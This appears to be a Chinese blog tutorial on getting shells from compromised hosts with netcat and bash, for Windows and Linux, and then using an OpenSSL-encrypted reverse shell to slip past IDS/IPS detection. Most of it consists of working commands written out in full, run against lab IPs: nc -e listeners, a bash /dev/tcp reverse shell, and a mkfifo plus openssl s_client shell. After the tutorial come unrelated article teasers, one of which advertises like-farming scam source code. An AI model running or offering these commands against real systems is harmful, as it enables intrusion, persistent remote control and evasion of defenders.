隧道穿透:常规反弹、加密反弹

目录

1、常规反弹

(1)Windows正向连接shell

(2)Windows反向连接shell

(3)Linux正向连接shell

(2)利用Linux自带bash反弹Shell

2、加密反弹


1、常规反弹

假设在内网环境中发现主机,通过漏洞获取到该主机控制权限,想要进一步对内网环境进行后续利用,这里可以通过反弹shell的方式去进行穿透,下面我将会以nc工具为来演示一下在windows操作系统和Linux操作系统中的反弹操作

(1)Windows正向连接shell

假设我们已经获取到目标服务器的系统权限,然后成功的上传了nc工具,现在使用正向连接反弹shell的方法将目标服务器的shell反弹到本地主机。

首先在目标服务器执行nc.exe -lvp 8888 -e cmd.exe命令监听8888端口,使用-e参数将cmd.exe程序反弹连接到此端口的服务:

目标服务器执行监听后,在本地主机执行nc.exe 192.168.159.102 8888命令去连接目标服务器nc开启监听的端口,连接成功即可获取到目标服务器的shell权限:

(2)Windows反向连接shell

在目标服务器允许出网的情况下,在本地主机上获取到目标服务器的shell权限,可以尝试使用反向连接的方法。

首先在本地主机中使用nc工具开启监听,执行nc.exe -lvp 8888命令

当本地主机开启监听后,在目标服务器执行nc.exe 192.168.159.1 8888 -e cmd"命令主动连接本地主机的8888端口将cmd命令反弹到目标服务器:

此时当目标服务器访问我们的本地8888端口时,即可执行获取到目标服务器的Shell权限,使用Ipconfig命令查看获取到的反弹shell的ip地址,可查看到是目标服务器:

(3)Linux正向连接shell

假设在linux操作系统中想要获取反弹shell,其中反弹方式和上述演示的Windows操作系统不同,以两台linux服务器为例进行实验,使用正向连接shell的方式

首先在目标服务器执行nc -lvp 8888 -e /bin/bash 命令来开启目标服务器的监听,当有应用程序访问到目标服务器的8888端口的程序时会将bash带出。

开启目标服务器监听后,在攻击机中执行nc 192.168.159.200 8888命令来连接目标服务器,此时会获得到目标服务器反弹出来的shell

(2)利用Linux自带bash反弹Shell

首先在攻击机中使用nc执行nc -lvp 8888命令开启监听:

在目标服务器中执行bash -c "bash -i >& /dev/tcp/192.168.159.151/8888 0>&1命令来将shell反弹到攻击机上,其中192.168.159.151是攻击机的IP地址,8888是所监听的端口

3)此时在攻击机中,可以看到已经成功接收到目标服务器反弹的shell:

2、加密反弹

在实战攻防对抗中,如果使用上面那样的常规反弹shell会有一个缺点,那就是所有通过shell传输的流量都是以明文的方式发送的,可以被安全防护设备(如IDS、IPS等)获取到通信传输的数据内容,会导致被触发告警拦截,因此攻击者通常会使用一种加密的反弹shell方式,对传输的数据内容进行混淆加密,下面我们使用OpenSSL来进行加密反弹shell

首先在使用OpenSSL反弹shell之前,需要对攻击机进行配置,手动执行openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes命令生成自签名证书,其OpenSSL使用参数如表1-1所示,在生成自签名证书过程中,会提示输入证书信息,在证书信息方面可以直接按回车键不进行设置,最后会生成cert.pem和key.pem这两个文件。

表 1-1 常见使用参数

参数作用
-new表示生成一个新的证书签署要求
-x509专用于生成CA自签证书
-key指定生成证书用到的私钥文件
-out FILNAME指定生成的证书的保存路径
-days指定证书的有效期限,单位为day,默认是365天
-notes

生成的私钥文件不会被加密

攻击机生成自签名证书后,执行openssl s_server -quiet -key key.pem -cert cert.pem -port 8888命令,使OpenSSL监听本地攻击机的8888端口,来启动一个SSL/TLS server服务。

攻击机开启监听后,在目标服务器进行反弹 shell 操作,执行mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.159.151:8888 > /tmp/s; rm /tmp/s命令,即可将目标服务器的shell反弹到攻击机上:

执行成功后,对接收到的反弹shell使用ifconfig命令测试,可以查看到输出的IP地址为目标服务器的IP。此时我们已经通过加密反弹的方式获取到了目标服务器的shell权限。

到此,常规反弹和加密反弹shell的实验就演示完毕了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/250965.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

一步步成为React全栈大师:从环境搭建到应用部署

文章目录 第一步&#xff1a;环境搭建第二步&#xff1a;了解React基础第三步&#xff1a;组件与路由第四步&#xff1a;状态管理第五步&#xff1a;接口与数据交互第六步&#xff1a;样式与布局第七步&#xff1a;测试第八步&#xff1a;构建与部署《深入浅出React开发指南》内…

【Java程序设计】【C00232】基于Springboot的抗疫物资管理系统(有论文)

基于Springboot的抗疫物资管理系统&#xff08;有论文&#xff09; 项目简介项目获取开发环境项目技术运行截图 项目简介 这是一个基于Springboot的抗疫物资管理系统 用户主要分为管理员和普通用户 管理员&#xff1a; 管理员可以对后台数据进行管理、拥有最高权限、具体权限有…

MySQL-----初识

一 SQL的基本概述 基本概述 ▶SQL全称: Structured Query Language&#xff0c;是结构化查询语言&#xff0c;用于访问和处理数据库的标准的计算机语言。SQL语言1974年由Boyce和Chamberlin提出&#xff0c;并首先在IBM公司研制的关系数据库系统SystemR上实现。 ▶美国国家标…

Quppy 注册教程,轻松通过欧洲银行同名转账绑定个人IBAN账号

Quppy 注册教程,轻松通过欧洲银行同名转账绑定个人IBAN账号 官网下载APP或者去香港区下载APP使用 https://quppy.com/ch/ 按照官方APP里的邮箱注册&#xff0c;填写邀请代码258258 能提升审核成功率&#xff0c;后添加电话和个人信息&#xff1b;需要说明的是&#xff1a;网站…

海外YouTube视频点赞刷单悬赏任务投资理财源码/tiktok国际版刷单理财

测试环境&#xff1a;Linux系统CentOS7.6、宝塔、PHP7.3、MySQL5.7&#xff0c;根目录public&#xff0c;伪静态Laravel5&#xff0c;开启SSL证书 前端&#xff1a;修改网站的默认文档 index.html 为第一个&#xff0c; index.php 改成第二个 &#xff0c;或者前端访问 index.…

【android】 android->profile 查看内存泄露

目录 实例讲解 各字段解释 实例讲解 各字段解释 在 Android Studio 的 Profile 视图中&#xff0c;Arrange by Stack 用于对内存分配和释放事件进行堆栈排列&#xff0c;以便更好地了解内存使用情况。以下是表上各列的一般含义&#xff1a; 1. **Call Chart (调用图)**: …

【DDD】学习笔记-领域场景分析实践

在先启阶段&#xff0c;我们确定了 EAS 的问题域与核心的业务流程&#xff0c;然后根据业务期望与愿景确定项目的业务范围&#xff0c;明确史诗级故事和主故事。这个过程既有利于我们对项目的整体理解&#xff0c;以便于确定需求列表、排定需求的优先级从而制订发布与迭代计划&…

一文教你地平线旭日派X3部署yolov5从训练-->转模型-->部署

一文教你地平线旭日派X3部署yolov5从训练&#xff0c;转模型&#xff0c;到部署 近日拿到了地平线的旭日派X3&#xff0c;官方说是支持等效5tops的AI算力&#xff0c;迫不及待的想在上面跑一个yolov5的模型&#xff0c;可谓是遇到了不少坑&#xff0c;好在皇天不负有心人&…

车载技术提升系列——CANape快速入门

车载技术提升系列——CANape快速入门 我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 屏蔽力是信息过载时代一个人的特殊竞争力,任何消耗你的人和事,多看一眼都是你的不对。非必要不费力证明自己…

Qt中的线程与信号槽

小实践 mainwindow.h #ifndef MAINWINDOW_H #define MAINWINDOW_H // #pragma once #include <QMainWindow> #include"zthread.h"QT_BEGIN_NAMESPACE namespace Ui { class MainWindow; } QT_END_NAMESPACEclass ZThread;class MainWindow : public QMainWin…

C++棋类小游戏2

今天给大家带来我花了1周时间自创的小游戏的升级版&#xff0c;博主还是一名小学生&#xff0c;希望大家提提意见。这是我写的最长的C代码&#xff0c;希望大家喜欢&#xff0c;不要抄袭&#xff0c;任何编译器都可以。 以前版本——C自创棋类小游戏-CSDN博客 C内容提示&…

苹果CMS挖片网升级版视频主题模版源码

自适应视频站正版高级挖片网收录模板&#xff0c;模板不错&#xff0c;是挖片网的升级版。 源码下载&#xff1a;https://download.csdn.net/download/m0_66047725/88799583 更多资源下载&#xff1a;关注我。

RCS系统之:地图编辑

一般每个供应商都有不同的需求&#xff0c;不同的需求都会是在不同的场景下产生的。而不同的场景都会需要构建不同的地图数据。 所有一个动态编辑的地图的能力都软件&#xff0c;是非常有必要的。基于这个想法&#xff0c;我们提供了一个可以实时&#xff0c;动态编辑地图的界面…

7000字详解Spring Boot项目集成RabbitMQ实战以及坑点分析

本文给大家介绍一下在 Spring Boot 项目中如何集成消息队列 RabbitMQ&#xff0c;包含对 RibbitMQ 的架构介绍、应用场景、坑点解析以及代码实战。 我将使用 waynboot-mall 项目作为代码讲解&#xff0c;项目地址&#xff1a;https://github.com/wayn111/waynboot-mall。本文大…

红日靶场1搭建渗透

环境搭建 下载好镜像文件并解压&#xff0c;启动vmware 这里我用自己的win7 sp1虚拟机作为攻击机&#xff0c;设置为双网卡NAT&#xff0c;vm2 其中用ipconfig查看攻击机ip地址 设置win7 x64为双网卡&#xff0c;vm1&#xff0c;vm2 设置win08单网卡vm1&#xff0c;win2k3为单…

MySQL查询缓存

MySQL查询缓存 MySQL在查询的时候首先会查询缓存&#xff0c;如果缓存命中的话就直接返回结果&#xff0c;不需要解析sql语句&#xff0c;也不会生成执行计划&#xff0c;更不会执行&#xff1b;如果没有命中缓存&#xff0c;则再进行SQL解析以及进行查询&#xff0c;并将结果返…

【轮式平衡机器人】——TMS320F28069片内外设之ADC

一、ADC概述 这一部分不是我们的重点&#xff0c;原理分类啥的这里简要说明&#xff01; 步骤&#xff1a;采样、保持、量化、编码 将采样电平&#xff08;模拟值&#xff09;转换为数字值的方法&#xff1a;直接比较型&#xff08;并行ADC、逐次逼近型ADC&#xff09;&…

【MongoDB】跨库跨表查询(python版)

MongoDB跨表跨库查询 1.数据准备&#xff1a;2.跨集合查询3.跨库查询应该怎么做&#xff1f; 讲一个简单的例子&#xff0c;python连接mongodb做跨表跨库查询的正确姿势 1.数据准备&#xff1a; use order_db; db.createCollection("orders"); db.orders.insertMan…

【C++入门到精通】C++的IO流(输入输出流) [ C++入门 ]

阅读导航 引言一、C语言的输入与输出二、流是什么三、CIO流1. C标准IO流&#xff08;1&#xff09;istream&#xff08;2&#xff09;ostream&#xff08;3&#xff09;iostream&#xff08;4&#xff09;cin 和 cout 2. C文件IO流&#xff08;1&#xff09;ifstream&#xff0…

【Android新版本兼容】onBackPressed()方法被弃用的解决方案

提示&#xff1a;此文章仅作为本人记录日常学习使用&#xff0c;若有存在错误或者不严谨得地方欢迎指正。 文章目录 一、使用 AndroidX API 实现预测性返回手势1.1 添加依赖1.2 启用返回手势1.3 注册OnBackPressedCallback()方法来处理返回手势 一、使用 AndroidX API 实现预测…